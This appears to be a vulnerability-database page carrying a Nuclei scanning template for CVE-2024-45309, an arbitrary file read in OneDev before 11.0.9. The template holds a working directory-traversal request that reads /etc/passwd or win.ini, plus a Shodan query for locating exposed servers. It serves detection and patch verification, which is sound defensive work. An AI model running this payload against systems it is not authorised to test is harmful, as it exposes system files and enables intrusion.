Lucene search
K

OneDev.io < 11.0.9 - Arbitrary File Read

🗓️ 04 Jul 2026 03:00:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 34 Views

OneDev.io versions below 11.0.9 allow arbitrary file read via directory traversal. Update required.

Related
Refs
Code
id: CVE-2024-45309

info:
  name: OneDev.io < 11.0.9 - Arbitrary File Read
  author: isacaya
  severity: high
  description: |
    Files on the host computer can be accessed by directory traversal.
  impact: |
    An attacker would be able to view the contents of a file on the computer.
  remediation: |
    Update to version 11.0.9.
  reference:
    - https://x.com/Siebene7/status/1848727539046617324
    - https://github.com/theonedev/onedev/security/advisories/GHSA-7wg5-6864-v489
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45309
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-45309
    cwe-id: CWE-22
    epss-score: 0.24822
    epss-percentile: 0.97638
    cpe: cpe:2.3:a:onedev_project:onedev:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: onedev
    shodan-query: html:"onedev.io"
    product: onedev
    framework: java
  tags: cve,cve2024,lfi,onedev,vuln,vkev

flow: |
  http(1)
  for (let projectName of iterate(template.project)) {
    set("project", projectName)
    http(2)
  }

http:
  - raw:
      - |
        GET /~projects HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "onedev")'
        internal: true

    extractors:
      - type: regex
        part: body
        name: project
        group: 3
        regex:
          - '<a class="mr-([0-9]+)" id="([a-z0-9]+)" href="(.*)">'
        internal: true

  - raw:
      - |
        GET {{project}}/~site////////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /etc/passwd
        - /windows/win.ini

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - 'root:.*:0:0:'
          - '\\[(font|extension|file)s\\]'
        condition: or

      - type: word
        part: header
        words:
          - 'filename='
          - 'application/octet-stream'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b0f29c788ef0f299e6c2b980c3ece2547af7f334c418f12625beb54d93a9fa77022100e5e617203e94edd0078395fd149fbe4dc3f65857166647652da994ff8eaa093f:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.17.5
CVSS 48.7
EPSS0.24822
SSVC
34